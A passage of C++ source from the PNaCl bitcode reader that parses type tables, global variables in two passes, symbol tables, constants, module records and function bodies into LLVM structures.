return Error("invalid type in vector type");
break;
}
}
if (NumRecords >= ExpectedNumRecords)
return Error("invalid TYPE table");
assert(ResultTy && "Didn't read a type?");
assert(TypeList[NumRecords] == 0 && "Already read type?");
if (NumRecords == NaClBcIndexSize_t_Max)
return Error("Exceeded type index limit");
TypeList[NumRecords++] = ResultTy;
}
return std::error_code();
}
// Class to process globals in two passes. In the first pass, build
// the corresponding global variables with no initializers. In the
// second pass, add initializers. The purpose of putting off
// initializers is to make sure that we don't need to generate
// placeholders for relocation records, and the corresponding cost
// of duplicating initializers when these placeholders are replaced.
class ParseGlobalsHandler {
ParseGlobalsHandler(const ParseGlobalsHandler &H) = delete;
void operator=(const ParseGlobalsHandler &H) = delete;
NaClBitcodeReader &Reader;
NaClBitcodeReaderValueList &ValueList;
NaClBitstreamCursor &Stream;
LLVMContext &Context;
Module *TheModule;
// Holds read data record.
SmallVector<uint64_t, 64> Record;
// True when processing a global variable. Stays true until all records
// are processed, and the global variable is created.
bool ProcessingGlobal;
// The number of initializers needed for the global variable.
size_t VarInitializersNeeded;
NaClBcIndexSize_t FirstValueNo;
// The index of the next global variable.
NaClBcIndexSize_t NextValueNo;
// The number of expected global variable definitions.
NaClBcIndexSize_t NumGlobals;
// The bit to go back to to generate initializers.
uint64_t StartBit;
void InitPass() {
Stream.JumpToBit(StartBit);
ProcessingGlobal = false;
VarInitializersNeeded = 0;
NextValueNo = FirstValueNo;
}
public:
ParseGlobalsHandler(NaClBitcodeReader &Reader,
NaClBitcodeReaderValueList &ValueList,
NaClBitstreamCursor &Stream,
LLVMContext &Context,
Module *TheModule)
: Reader(Reader),
ValueList(ValueList),
Stream(Stream),
Context(Context),
TheModule(TheModule),
FirstValueNo(ValueList.size()),
NumGlobals(0),
StartBit(Stream.GetCurrentBitNo()) {}
std::error_code GenerateGlobalVarsPass() {
InitPass();
// The type for the initializer of the global variable.
SmallVector<Type*, 10> VarType;
// The alignment value defined for the global variable.
unsigned VarAlignment = 0;
// True if the variable is read-only.
bool VarIsConstant = false;
// Read all records to build global variables without initializers.
while (1) {
NaClBitstreamEntry Entry =
Stream.advance(NaClBitstreamCursor::AF_DontPopBlockAtEnd, nullptr);
switch (Entry.Kind) {
case NaClBitstreamEntry::SubBlock:
return Reader.Error("Invalid block in the global vars block");
case NaClBitstreamEntry::Error:
return Reader.Error("Error in the global vars block");
case NaClBitstreamEntry::EndBlock:
if (ProcessingGlobal || NumGlobals != (NextValueNo - FirstValueNo))
return Reader.Error("Error in the global vars block");
return std::error_code();
case NaClBitstreamEntry::Record:
// The interesting case.
break;
}
// Read a record.
Record.clear();
unsigned Bitcode = Stream.readRecord(Entry.ID, Record);
switch (Bitcode) {
default:
return Reader.Error("Unknown global variable entry");
case naclbitc::GLOBALVAR_VAR:
// Start the definition of a global variable.
if (ProcessingGlobal || Record.size() != 2)
return Reader.Error("Bad GLOBALVAR_VAR record");
ProcessingGlobal = true;
if (std::error_code EC =
Reader.getAlignmentValue(Record[0], VarAlignment))
return EC;
VarIsConstant = Record[1] != 0;
// Assume (by default) there is a single initializer.
VarInitializersNeeded = 1;
break;
case naclbitc::GLOBALVAR_COMPOUND: {
// Global variable has multiple initializers. Changes the
// default number of initializers to the given value in
// Record[0].
if (!ProcessingGlobal || !VarType.empty() ||
VarInitializersNeeded != 1 || Record.size() != 1)
return Reader.Error("Bad GLOBALVAR_COMPOUND record");
uint64_t Size = Record[0];
// Check that ILP32 assumption met.
if (Size > MaxNaClGlobalVarInits)
return Reader.Error("Size too big in GLOBALVAR_COMPOUND record");
VarInitializersNeeded = static_cast<size_t>(Size);
break;
}
case naclbitc::GLOBALVAR_ZEROFILL: {
// Define a type that defines a sequence of zero-filled bytes.
if (!ProcessingGlobal || Record.size() != 1)
return Reader.Error("Bad GLOBALVAR_ZEROFILL record");
VarType.push_back(ArrayType::get(
Type::getInt8Ty(Context), Record[0]));
break;
}
case naclbitc::GLOBALVAR_DATA: {
// Defines a type defined by a sequence of byte values.
if (!ProcessingGlobal || Record.size() < 1)
return Reader.Error("Bad GLOBALVAR_DATA record");
VarType.push_back(ArrayType::get(
Type::getInt8Ty(Context), Record.size()));
break;
}
case naclbitc::GLOBALVAR_RELOC: {
// Define a relocation initializer type.
if (!ProcessingGlobal || Record.size() < 1 || Record.size() > 2)
return Reader.Error("Bad GLOBALVAR_RELOC record");
VarType.push_back(IntegerType::get(Context, 32));
break;
}
case naclbitc::GLOBALVAR_COUNT:
if (Record.size() != 1 || NumGlobals != 0)
return Reader.Error("Invalid global count record");
if (Record[0] > NaClBcIndexSize_t_Max)
return Reader.Error("Size too big in global count record");
NumGlobals = static_cast<NaClBcIndexSize_t>(Record[0]);
break;
}
// If more initializers needed for global variable, continue processing.
if (!ProcessingGlobal || VarType.size() < VarInitializersNeeded)
continue;
Type *Ty = 0;
switch (VarType.size()) {
case 0:
return Reader.Error(
"No initializer for global variable in global vars block");
case 1:
Ty = VarType[0];
break;
default:
Ty = StructType::get(Context, VarType, true);
break;
}
GlobalVariable *GV = new GlobalVariable(
*TheModule, Ty, VarIsConstant,
GlobalValue::InternalLinkage, NULL, "");
GV->setAlignment(VarAlignment);
ValueList.AssignValue(GV, NextValueNo);
++NextValueNo;
ProcessingGlobal = false;
VarAlignment = 0;
VarIsConstant = false;
VarInitializersNeeded = 0;
VarType.clear();
}
return std::error_code();
}
std::error_code GenerateGlobalVarInitsPass() {
InitPass();
// The initializer for the global variable.
SmallVector<Constant *, 10> VarInit;
while (1) {
NaClBitstreamEntry Entry =
Stream.advance(NaClBitstreamCursor::AF_DontAutoprocessAbbrevs, nullptr);
switch (Entry.Kind) {
case NaClBitstreamEntry::SubBlock:
return Reader.Error("Invalid block in the global vars block");
case NaClBitstreamEntry::Error:
return Reader.Error("Error in the global vars block");
case NaClBitstreamEntry::EndBlock:
if (ProcessingGlobal || NumGlobals != (NextValueNo - FirstValueNo))
return Reader.Error("Error in the global vars block");
return std::error_code();
case NaClBitstreamEntry::Record:
if (Entry.ID == naclbitc::DEFINE_ABBREV) {
Stream.SkipAbbrevRecord();
continue;
}
// The interesting case.
break;
}
// Read a record.
Record.clear();
unsigned Bitcode = Stream.readRecord(Entry.ID, Record);
switch (Bitcode) {
default:
return Reader.Error("Unknown global variable entry (pass 2)");
case naclbitc::GLOBALVAR_VAR:
// Start the definition of a global variable.
ProcessingGlobal = true;
// Assume (by default) there is a single initializer.
VarInitializersNeeded = 1;
break;
case naclbitc::GLOBALVAR_COMPOUND:
// Global variable has multiple initializers. Changes the
// default number of initializers to the given value in
// Record[0].
if (!ProcessingGlobal || !VarInit.empty() ||
VarInitializersNeeded != 1 || Record.size() != 1)
return Reader.Error("Bad GLOBALVAR_COMPOUND record");
// Note: We assume VarInitializersNeeded size was checked
// in GenerateGlobalVarsPass.
VarInitializersNeeded = static_cast<size_t>(Record[0]);
break;
case naclbitc::GLOBALVAR_ZEROFILL: {
// Define an initializer that defines a sequence of zero-filled bytes.
if (!ProcessingGlobal || Record.size() != 1)
return Reader.Error("Bad GLOBALVAR_ZEROFILL record");
Type *Ty = ArrayType::get(Type::getInt8Ty(Context),
Record[0]);
Constant *Zero = ConstantAggregateZero::get(Ty);
VarInit.push_back(Zero);
break;
}
case naclbitc::GLOBALVAR_DATA: {
// Defines an initializer defined by a sequence of byte values.
if (!ProcessingGlobal || Record.size() < 1)
return Reader.Error("Bad GLOBALVAR_DATA record");
size_t Size = Record.size();
uint8_t *Buf = new uint8_t[Size];
assert(Buf);
for (size_t i = 0; i < Size; ++i)
Buf[i] = Record[i];
Constant *Init = ConstantDataArray::get(
Context, ArrayRef<uint8_t>(Buf, Buf + Size));
VarInit.push_back(Init);
delete[] Buf;
break;
}
case naclbitc::GLOBALVAR_RELOC: {
// Define a relocation initializer.
if (!ProcessingGlobal || Record.size() < 1 || Record.size() > 2)
return Reader.Error("Bad GLOBALVAR_RELOC record");
Constant *BaseVal = cast<Constant>(Reader.getFnValueByID(Record[0]));
Type *IntPtrType = IntegerType::get(Context, 32);
Constant *Val = ConstantExpr::getPtrToInt(BaseVal, IntPtrType);
if (Record.size() == 2) {
uint64_t Addend = Record[1];
// Note: PNaCl is ILP32, so Addend must be uint32_t.
if (Addend > std::numeric_limits<uint32_t>::max())
return Reader.Error("Addend of GLOBALVAR_RELOC record too big");
Val = ConstantExpr::getAdd(Val, ConstantInt::get(IntPtrType,
Addend));
}
VarInit.push_back(Val);
break;
}
case naclbitc::GLOBALVAR_COUNT:
if (Record.size() != 1)
return Reader.Error("Invalid global count record");
// Note: NumGlobals should have been set in GenerateGlobalVarsPass.
// Fail if methods are called in wrong order.
assert(NumGlobals == Record[0]);
break;
}
// If more initializers needed for global variable, continue processing.
if (!ProcessingGlobal || VarInit.size() < VarInitializersNeeded)
continue;
Constant *Init = 0;
switch (VarInit.size()) {
case 0:
return Reader.Error(
"No initializer for global variable in global vars block");
case 1:
Init = VarInit[0];
break;
default:
Init = ConstantStruct::getAnon(Context, VarInit, true);
break;
}
cast<GlobalVariable>(ValueList[NextValueNo])->setInitializer(Init);
if (NextValueNo == NaClBcIndexSize_t_Max)
return Reader.Error("Exceeded value index limit");
++NextValueNo;
ProcessingGlobal = false;
VarInitializersNeeded = 0;
VarInit.clear();
}
return std::error_code();
}
};
std::error_code NaClBitcodeReader::ParseGlobalVars() {
if (Stream.EnterSubBlock(naclbitc::GLOBALVAR_BLOCK_ID))
return Error("Malformed block record");
ParseGlobalsHandler PassHandler(*this, ValueList, Stream, Context, TheModule);
if (std::error_code EC = PassHandler.GenerateGlobalVarsPass())
return EC;
return PassHandler.GenerateGlobalVarInitsPass();
}
std::error_code NaClBitcodeReader::ParseValueSymbolTable() {
DEBUG(dbgs() << "-> ParseValueSymbolTable\n");
if (Stream.EnterSubBlock(naclbitc::VALUE_SYMTAB_BLOCK_ID))
return Error("Malformed block record");
SmallVector<uint64_t, 64> Record;
// Read all the records for this value table.
SmallString<128> ValueName;
while (1) {
NaClBitstreamEntry Entry = Stream.advance(0, nullptr);
switch (Entry.Kind) {
case NaClBitstreamEntry::SubBlock:
return Error("Invalid block in the value symbol table block");
case NaClBitstreamEntry::Error:
return Error("malformed value symbol table block");
case NaClBitstreamEntry::EndBlock:
DEBUG(dbgs() << "<- ParseValueSymbolTable\n");
return std::error_code();
case NaClBitstreamEntry::Record:
// The interesting case.
break;
}
// Read a record.
Record.clear();
switch (Stream.readRecord(Entry.ID, Record)) {
default: // Default behavior: unknown type.
break;
case naclbitc::VST_CODE_ENTRY: { // VST_ENTRY: [valueid, namechar x N]
if (ConvertToString(Record, 1, ValueName))
return Error("Invalid VST_ENTRY record");
Value *V = getFnValueByID(Record[0]);
if (V == nullptr)
return Error("Invalid Value ID in VST_ENTRY record");
V->setName(StringRef(ValueName.data(), ValueName.size()));
ValueName.clear();
break;
}
case naclbitc::VST_CODE_BBENTRY: {
if (ConvertToString(Record, 1, ValueName))
return Error("Invalid VST_BBENTRY record");
BasicBlock *BB = getBasicBlock(Record[0]);
if (BB == 0)
return Error("Invalid BB ID in VST_BBENTRY record");
BB->setName(StringRef(ValueName.data(), ValueName.size()));
ValueName.clear();
break;
}
}
}
}
std::error_code NaClBitcodeReader::ParseConstants() {
DEBUG(dbgs() << "-> ParseConstants\n");
if (Stream.EnterSubBlock(naclbitc::CONSTANTS_BLOCK_ID))
return Error("Malformed block record");
SmallVector<uint64_t, 64> Record;
// Read all the records for this value table.
Type *CurTy = Type::getInt32Ty(Context);
NaClBcIndexSize_t NextCstNo = ValueList.size();
while (1) {
NaClBitstreamEntry Entry = Stream.advance(0, nullptr);
switch (Entry.Kind) {
case NaClBitstreamEntry::SubBlock:
return Error("Invalid block in function constants block");
case NaClBitstreamEntry::Error:
return Error("malformed function constants block");
case NaClBitstreamEntry::EndBlock:
if (NextCstNo != ValueList.size())
return Error("Invalid constant reference!");
DEBUG(dbgs() << "<- ParseConstants\n");
return std::error_code();
case NaClBitstreamEntry::Record:
// The interesting case.
break;
}
// Read a record.
Record.clear();
Value *V = 0;
unsigned BitCode = Stream.readRecord(Entry.ID, Record);
switch (BitCode) {
default: {
std::string Message;
raw_string_ostream StrM(Message);
StrM << "Invalid Constant code: " << BitCode;
return Error(StrM.str());
}
case naclbitc::CST_CODE_UNDEF: // UNDEF
V = UndefValue::get(CurTy);
break;
case naclbitc::CST_CODE_SETTYPE: // SETTYPE: [typeid]
if (Record.empty())
return Error("Malformed CST_SETTYPE record");
if (Record[0] >= TypeList.size())
return Error("Invalid Type ID in CST_SETTYPE record");
CurTy = TypeList[Record[0]];
continue; // Skip the ValueList manipulation.
case naclbitc::CST_CODE_INTEGER: // INTEGER: [intval]
if (!CurTy->isIntegerTy() || Record.empty())
return Error("Invalid CST_INTEGER record");
V = ConstantInt::get(CurTy, NaClDecodeSignRotatedValue(Record[0]));
break;
case naclbitc::CST_CODE_FLOAT: { // FLOAT: [fpval]
if (Record.empty())
return Error("Invalid FLOAT record");
if (CurTy->isFloatTy())
V = ConstantFP::get(Context, APFloat(APFloat::IEEEsingle,
APInt(32, (uint32_t)Record[0])));
else if (CurTy->isDoubleTy())
V = ConstantFP::get(Context, APFloat(APFloat::IEEEdouble,
APInt(64, Record[0])));
else
return Error("Unknown type for FLOAT record");
break;
}
}
ValueList.AssignValue(V, NextCstNo);
++NextCstNo;
}
return std::error_code();
}
// When we see the block for a function body, remember where it is and then skip
// it. This lets us lazily deserialize the functions.
std::error_code NaClBitcodeReader::RememberAndSkipFunctionBody() {
DEBUG(dbgs() << "-> RememberAndSkipFunctionBody\n");
// Get the function we are talking about.
if (FunctionsWithBodies.empty())
return Error("Insufficient function protos");
Function *Fn = FunctionsWithBodies.back();
FunctionsWithBodies.pop_back();
// Save the current stream state.
uint64_t CurBit = Stream.GetCurrentBitNo();
DeferredFunctionInfo[Fn] = CurBit;
// Skip over the function block for now.
if (Stream.SkipBlock())
return Error("Unable to skip function block.");
DEBUG(dbgs() << "<- RememberAndSkipFunctionBody\n");
return std::error_code();
}
std::error_code NaClBitcodeReader::GlobalCleanup() {
// Look for intrinsic functions which need to be upgraded at some point
for (Module::iterator FI = TheModule->begin(), FE = TheModule->end();
FI != FE; ++FI) {
Function *NewFn;
if (UpgradeIntrinsicFunction(FI, NewFn))
UpgradedIntrinsics.push_back(std::make_pair(FI, NewFn));
}
// Look for global variables which need to be renamed.
for (Module::global_iterator
GI = TheModule->global_begin(), GE = TheModule->global_end();
GI != GE; ++GI)
UpgradeGlobalVariable(GI);
return std::error_code();
}
FunctionType *NaClBitcodeReader::AddPointerTypesToIntrinsicType(
StringRef Name, FunctionType *FTy) {
FunctionType *IntrinsicTy = AllowedIntrinsics.getIntrinsicType(Name);
if (IntrinsicTy == 0) return FTy;
Type *IReturnTy = IntrinsicTy->getReturnType();
Type *FReturnTy = FTy->getReturnType();
if (!PNaClABITypeChecker::IsPointerEquivType(IReturnTy, FReturnTy)) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Intrinsic return type mismatch for " << Name << ": "
<< *IReturnTy << " and " << *FReturnTy;
report_fatal_error(StrBuf.str());
}
if (FTy->getNumParams() != IntrinsicTy->getNumParams()) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Intrinsic type mistmatch for " << Name << ": "
<< *FTy << " and " << *IntrinsicTy;
report_fatal_error(StrBuf.str());
}
for (size_t i = 0; i < FTy->getNumParams(); ++i) {
Type *IargTy = IntrinsicTy->getParamType(i);
Type *FargTy = FTy->getParamType(i);
if (!PNaClABITypeChecker::IsPointerEquivType(IargTy, FargTy)) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Intrinsic type mismatch for argument " << i << " in "
<< Name << ": " << *IargTy << " and " << *FargTy;
report_fatal_error(StrBuf.str());
}
}
return IntrinsicTy;
}
void NaClBitcodeReader::AddPointerTypesToIntrinsicParams() {
for (size_t Index = 0, E = ValueList.size(); Index < E; ++Index) {
if (Function *Func = dyn_cast<Function>(ValueList[Index])) {
if (Func->isIntrinsic()) {
FunctionType *FTy = Func->getFunctionType();
FunctionType *ITy = AddPointerTypesToIntrinsicType(
Func->getName(), FTy);
if (ITy == FTy) continue;
Function *NewIntrinsic = Function::Create(
ITy, GlobalValue::ExternalLinkage, "", TheModule);
NewIntrinsic->takeName(Func);
ValueList.OverwriteValue(NewIntrinsic, Index);
Func->eraseFromParent();
}
}
}
}
std::error_code NaClBitcodeReader::ParseModule(bool Resume) {
DEBUG(dbgs() << "-> ParseModule\n");
if (Resume)
Stream.JumpToBit(NextUnreadBit);
else if (Stream.EnterSubBlock(naclbitc::MODULE_BLOCK_ID))
return Error("Malformed block record");
SmallVector<uint64_t, 64> Record;
// Read all the records for this module.
while (1) {
NaClBitstreamEntry Entry = Stream.advance(0, nullptr);
switch (Entry.Kind) {
case NaClBitstreamEntry::Error:
return Error("malformed module block");
case NaClBitstreamEntry::EndBlock:
DEBUG(dbgs() << "<- ParseModule\n");
if (std::error_code EC = GlobalCleanup())
return EC;
if (!Stream.AtEndOfStream())
return Error("Invalid data after module");
return std::error_code();
case NaClBitstreamEntry::SubBlock:
switch (Entry.ID) {
default: {
std::string Message;
raw_string_ostream StrM(Message);
StrM << "Unknown block ID: " << Entry.ID;
return Error(StrM.str());
}
case naclbitc::BLOCKINFO_BLOCK_ID:
if (Stream.ReadBlockInfoBlock(0))
return Error("Malformed BlockInfoBlock");
break;
case naclbitc::TYPE_BLOCK_ID_NEW:
if (std::error_code EC = ParseTypeTable())
return EC;
break;
case naclbitc::GLOBALVAR_BLOCK_ID:
if (std::error_code EC = ParseGlobalVars())
return EC;
break;
case naclbitc::VALUE_SYMTAB_BLOCK_ID:
if (std::error_code EC = ParseValueSymbolTable())
return EC;
SeenValueSymbolTable = true;
// Now that we know the names of the intrinsics, we can add
// pointer types to the intrinsic declarations' types.
AddPointerTypesToIntrinsicParams();
break;
case naclbitc::FUNCTION_BLOCK_ID:
// If this is the first function body we've seen, reverse the
// FunctionsWithBodies list.
if (!SeenFirstFunctionBody) {
std::reverse(FunctionsWithBodies.begin(), FunctionsWithBodies.end());
if (std::error_code EC = GlobalCleanup())
return EC;
SeenFirstFunctionBody = true;
}
if (std::error_code EC = RememberAndSkipFunctionBody())
return EC;
// For streaming bitcode, suspend parsing when we reach the function
// bodies. Subsequent materialization calls will resume it when
// necessary. For streaming, the function bodies must be at the end of
// the bitcode. If the bitcode file is old, the symbol table will be
// at the end instead and will not have been seen yet. In this case,
// just finish the parse now.
if (LazyStreamer && SeenValueSymbolTable) {
NextUnreadBit = Stream.GetCurrentBitNo();
DEBUG(dbgs() << "<- ParseModule\n");
return std::error_code();
}
break;
}
continue;
case NaClBitstreamEntry::Record:
// The interesting case.
break;
}
// Read a record.
unsigned Selector = Stream.readRecord(Entry.ID, Record);
switch (Selector) {
default: {
std::string Message;
raw_string_ostream StrM(Message);
StrM << "Invalid MODULE_CODE: " << Selector;
StrM.flush();
return Error(Message);
}
case naclbitc::MODULE_CODE_VERSION: { // VERSION: [version#]
if (Record.size() < 1)
return Error("Malformed MODULE_CODE_VERSION");
// Only version #1 is supported for PNaCl. Version #0 is not supported.
uint64_t module_version = Record[0];
if (module_version != 1)
return Error("Unknown bitstream version!");
break;
}
// FUNCTION: [type, callingconv, isproto, linkage]
case naclbitc::MODULE_CODE_FUNCTION: {
if (Record.size() < 4)
return Error("Invalid MODULE_CODE_FUNCTION record");
Type *Ty = getTypeByID(Record[0]);
if (!Ty)
return Error("Invalid MODULE_CODE_FUNCTION record");
FunctionType *FTy = dyn_cast<FunctionType>(Ty);
if (!FTy)
return Error("Function not declared with a function type!");
Function *Func = Function::Create(FTy, GlobalValue::ExternalLinkage,
"", TheModule);
CallingConv::ID CallingConv;
if (!naclbitc::DecodeCallingConv(Record[1], CallingConv))
return Error("PNaCl bitcode contains invalid calling conventions.");
Func->setCallingConv(CallingConv);
bool isProto = Record[2];
GlobalValue::LinkageTypes Linkage;
if (!naclbitc::DecodeLinkage(Record[3], Linkage))
return Error("Unknown linkage type");
Func->setLinkage(Linkage);
ValueList.push_back(Func);
// If this is a function with a body, remember the prototype we are
// creating now, so that we can match up the body with them later.
if (!isProto) {
Func->setIsMaterializable(true);
FunctionsWithBodies.push_back(Func);
if (LazyStreamer) DeferredFunctionInfo[Func] = 0;
}
break;
}
}
Record.clear();
}
return std::error_code();
}
std::error_code NaClBitcodeReader::ParseBitcodeInto(Module *M) {
TheModule = 0;
// PNaCl does not support different DataLayouts in pexes, so we
// implicitly set the DataLayout to the following default.
//
// This is not usually needed by the backend, but it might be used
// by IR passes that the PNaCl translator runs. We set this in the
// reader rather than in pnacl-llc so that 'opt' will also use the
// correct DataLayout if it is run on a pexe.
M->setDataLayout(PNaClDataLayout);
if (std::error_code EC = InitStream())
return EC;
// We expect a number of well-defined blocks, though we don't necessarily
// need to understand them all.
while (1) {
if (Stream.AtEndOfStream())
return std::error_code();
NaClBitstreamEntry Entry =
Stream.advance(NaClBitstreamCursor::AF_DontAutoprocessAbbrevs, nullptr);
switch (Entry.Kind) {
case NaClBitstreamEntry::Error:
return Error("malformed module file");
case NaClBitstreamEntry::EndBlock:
return std::error_code();
case NaClBitstreamEntry::SubBlock:
switch (Entry.ID) {
case naclbitc::MODULE_BLOCK_ID:
// Reject multiple MODULE_BLOCK's in a single bitstream.
if (TheModule)
return Error("Multiple MODULE_BLOCKs in same stream");
TheModule = M;
if (std::error_code EC = ParseModule(false))
return EC;
if (LazyStreamer)
return std::error_code();
break;
default:
return Error("Invalid top-level block found.");
break;
}
continue;
case NaClBitstreamEntry::Record:
// There should be no records in the top-level of blocks.
return Error("Invalid record at top-level");
}
}
}
// Returns true if error occured installing I into BB.
std::error_code NaClBitcodeReader::InstallInstruction(
BasicBlock *BB, Instruction *I) {
// Add instruction to end of current BB. If there is no current BB, reject
// this file.
if (BB == 0) {
delete I;
return Error("Instruction with no BB, can't install");
}
BB->getInstList().push_back(I);
return std::error_code();
}
CastInst *
NaClBitcodeReader::CreateCast(NaClBcIndexSize_t BBIndex,
Instruction::CastOps Op,
Type *CT, Value *V, bool DeferInsertion) {
if (BBIndex >= FunctionBBs.size())
report_fatal_error("CreateCast on unknown basic block");
BasicBlockInfo &BBInfo = FunctionBBs[BBIndex];
NaClBitcodeReaderCast ModeledCast{Op, CT, V};
CastInst *Cast = BBInfo.CastMap[ModeledCast];
if (Cast == NULL) {
Cast = CastInst::Create(Op, V, CT);
BBInfo.CastMap[ModeledCast] = Cast;
if (DeferInsertion) {
BBInfo.PhiCasts.push_back(Cast);
}
}
if (!DeferInsertion && Cast->getParent() == 0) {
InstallInstruction(BBInfo.BB, Cast);
}
return Cast;
}
Value *NaClBitcodeReader::ConvertOpToScalar(Value *Op,
NaClBcIndexSize_t BBIndex,
bool DeferInsertion) {
if (Op->getType()->isPointerTy()) {
return CreateCast(BBIndex, Instruction::PtrToInt, IntPtrType, Op,
DeferInsertion);
}
return Op;
}
Value *NaClBitcodeReader::ConvertOpToType(Value *Op, Type *T,
NaClBcIndexSize_t BBIndex) {
Type *OpTy = Op->getType();
if (OpTy == T) return Op;
if (OpTy->isPointerTy()) {
if (T == IntPtrType) {
return ConvertOpToScalar(Op, BBIndex);
} else {
return CreateCast(BBIndex, Instruction::BitCast, T, Op);
}
} else if (OpTy == IntPtrType) {
return CreateCast(BBIndex, Instruction::IntToPtr, T, Op);
}
std::string Message;
raw_string_ostream StrM(Message);
StrM << "Can't convert " << *Op << " to type " << *T << "\n";
report_fatal_error(StrM.str());
}
// Lazily parse the specified function body block.
std::error_code NaClBitcodeReader::ParseFunctionBody(Function *F) {
DEBUG(dbgs() << "-> ParseFunctionBody\n");
unsigned NumWordsInFunction = 0;
if (Stream.EnterSubBlock(naclbitc::FUNCTION_BLOCK_ID, &NumWordsInFunction))
return Error("Malformed block record");
uint64_t NumBytesInFunction =
NumWordsInFunction * naclbitc::BitstreamWordSize;
// Defines the maximum number of records that can occur in the
// function block, based on the minimum size of a record.
uint64_t MaxRecordsInFunction =
NumBytesInFunction * (CHAR_BIT / naclbitc::MinRecordBitSize);
NaClBcIndexSize_t ModuleValueListSize = ValueList.size();
// Add all the function arguments to the value table.
for(Function::arg_iterator I = F->arg_begin(), E = F->arg_end(); I != E; ++I)
ValueList.push_back(I);
NaClBcIndexSize_t NextValueNo = ValueList.size();
BasicBlock *CurBB = 0;
NaClBcIndexSize_t CurBBNo = 0;
// Read all the records.
SmallVector<uint64_t, 64> Record;
while (1) {
NaClBitstreamEntry Entry = Stream.advance(0, nullptr);
switch (Entry.Kind) {
case NaClBitstreamEntry::Error:
return Error("Bitcode error in function block");
case NaClBitstreamEntry::EndBlock:
goto OutOfRecordLoop;
case NaClBitstreamEntry::SubBlock:
switch (Entry.ID) {
default:
return Error("Invalid block in function block");
break;
case naclbitc::CONSTANTS_BLOCK_ID:
if (std::error_code EC = ParseConstants())
return EC;
NextValueNo = ValueList.size();
break;
case naclbitc::VALUE_SYMTAB_BLOCK_ID:
if (PNaClAllowLocalSymbolTables) {
if (std::error_code EC = ParseValueSymbolTable())
return EC;
} else {
return Error("Local value symbol tables not allowed");
}
break;
}
continue;
case NaClBitstreamEntry::Record:
// The interesting case.
break;
}
// Read a record.
Record.clear();
Instruction *I = 0;
unsigned BitCode = Stream.readRecord(Entry.ID, Record);
switch (BitCode) {
default: {// Default behavior: reject
std::string Message;
raw_string_ostream StrM(Message);
StrM << "Unknown instruction record: <" << BitCode;
for (size_t I = 0, E = Record.size(); I != E; ++I) {
StrM << " " << Record[I];
}
StrM << ">";
return Error(StrM.str());
}
case naclbitc::FUNC_CODE_DECLAREBLOCKS: // DECLAREBLOCKS: [nblocks]
if (Record.size() != 1 || Record[0] == 0)
return Error("Invalid DECLAREBLOCKS record");
// Check for bad large sizes, since they can make ridiculous memory
// requests and hang the user for large amounts of time.
if (Record[0] > MaxRecordsInFunction) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Function defines " << Record[0]
<< " basic blocks, which is too big for a function containing "
<< NumBytesInFunction << " bytes";
return Error(StrBuf.str());
}
// Create all the basic blocks for the function.
FunctionBBs.resize(Record[0]);
for (size_t i = 0, e = FunctionBBs.size(); i != e; ++i) {
BasicBlockInfo &BBInfo = FunctionBBs[i];
BBInfo.BB = BasicBlock::Create(Context, "", F);
}
CurBB = FunctionBBs.at(0).BB;
continue;
case naclbitc::FUNC_CODE_INST_BINOP: {
// BINOP: [opval, opval, opcode[, flags]]
// Note: Only old PNaCl bitcode files may contain flags. If
// they are found, we ignore them.
size_t OpNum = 0;
Value *LHS, *RHS;
if (popValue(Record, &OpNum, NextValueNo, &LHS) ||
popValue(Record, &OpNum, NextValueNo, &RHS) ||
OpNum+1 > Record.size())
return Error("Invalid BINOP record");
LHS = ConvertOpToScalar(LHS, CurBBNo);
RHS = ConvertOpToScalar(RHS, CurBBNo);
Instruction::BinaryOps Opc;
if (!naclbitc::DecodeBinaryOpcode(Record[OpNum++], LHS->getType(), Opc))
return Error("Invalid binary opcode in BINOP record");
I = BinaryOperator::Create(Opc, LHS, RHS);
break;
}
case naclbitc::FUNC_CODE_INST_CAST: { // CAST: [opval, destty, castopc]
size_t OpNum = 0;
Value *Op;
if (popValue(Record, &OpNum, NextValueNo, &Op) ||
OpNum+2 != Record.size())
return Error("Invalid CAST record: bad record size");
Type *ResTy = getTypeByID(Record[OpNum]);
if (ResTy == 0)
return Error("Invalid CAST record: bad type ID");
Instruction::CastOps Opc;
if (!naclbitc::DecodeCastOpcode(Record[OpNum+1], Opc)) {
return Error("Invalid CAST record: bad opcode");
}
// If a ptrtoint cast was elided on the argument of the cast,
// add it back. Note: The casts allowed here should match the
// casts in NaClValueEnumerator::ExpectsScalarValue.
switch (Opc) {
case Instruction::Trunc:
case Instruction::ZExt:
case Instruction::SExt:
case Instruction::UIToFP:
case Instruction::SIToFP:
Op = ConvertOpToScalar(Op, CurBBNo);
break;
default:
break;
}
I = CastInst::Create(Opc, Op, ResTy);
break;
}
case naclbitc::FUNC_CODE_INST_VSELECT: {// VSELECT: [opval, opval, pred]
// new form of select
// handles select i1 or select [N x i1]
size_t OpNum = 0;
Value *TrueVal, *FalseVal, *Cond;
if (popValue(Record, &OpNum, NextValueNo, &TrueVal) ||
popValue(Record, &OpNum, NextValueNo, &FalseVal) ||
popValue(Record, &OpNum, NextValueNo, &Cond) ||
OpNum != Record.size())
return Error("Invalid SELECT record");
TrueVal = ConvertOpToScalar(TrueVal, CurBBNo);
FalseVal = ConvertOpToScalar(FalseVal, CurBBNo);
// select condition can be either i1 or [N x i1]
if (VectorType* vector_type =
dyn_cast<VectorType>(Cond->getType())) {
// expect <n x i1>
if (vector_type->getElementType() != Type::getInt1Ty(Context))
return Error("Invalid SELECT vector condition type");
} else {
// expect i1
if (Cond->getType() != Type::getInt1Ty(Context))
return Error("Invalid SELECT condition type");
}
I = SelectInst::Create(Cond, TrueVal, FalseVal);
break;
}
case naclbitc::FUNC_CODE_INST_EXTRACTELT: { // EXTRACTELT: [opval, opval]
size_t OpNum = 0;
Value *Vec, *Idx;
if (popValue(Record, &OpNum, NextValueNo, &Vec) ||
popValue(Record, &OpNum, NextValueNo, &Idx) || OpNum != Record.size())
return Error("Invalid EXTRACTELEMENT record");
// expect i32
if (Idx->getType() != Type::getInt32Ty(Context))
return Error("Invalid EXTRACTELEMENT index type");
I = ExtractElementInst::Create(Vec, Idx);
break;
}
case naclbitc::FUNC_CODE_INST_INSERTELT: { // INSERTELT: [opval,opval,opval]
size_t OpNum = 0;
Value *Vec, *Elt, *Idx;
if (popValue(Record, &OpNum, NextValueNo, &Vec) ||
popValue(Record, &OpNum, NextValueNo, &Elt) ||
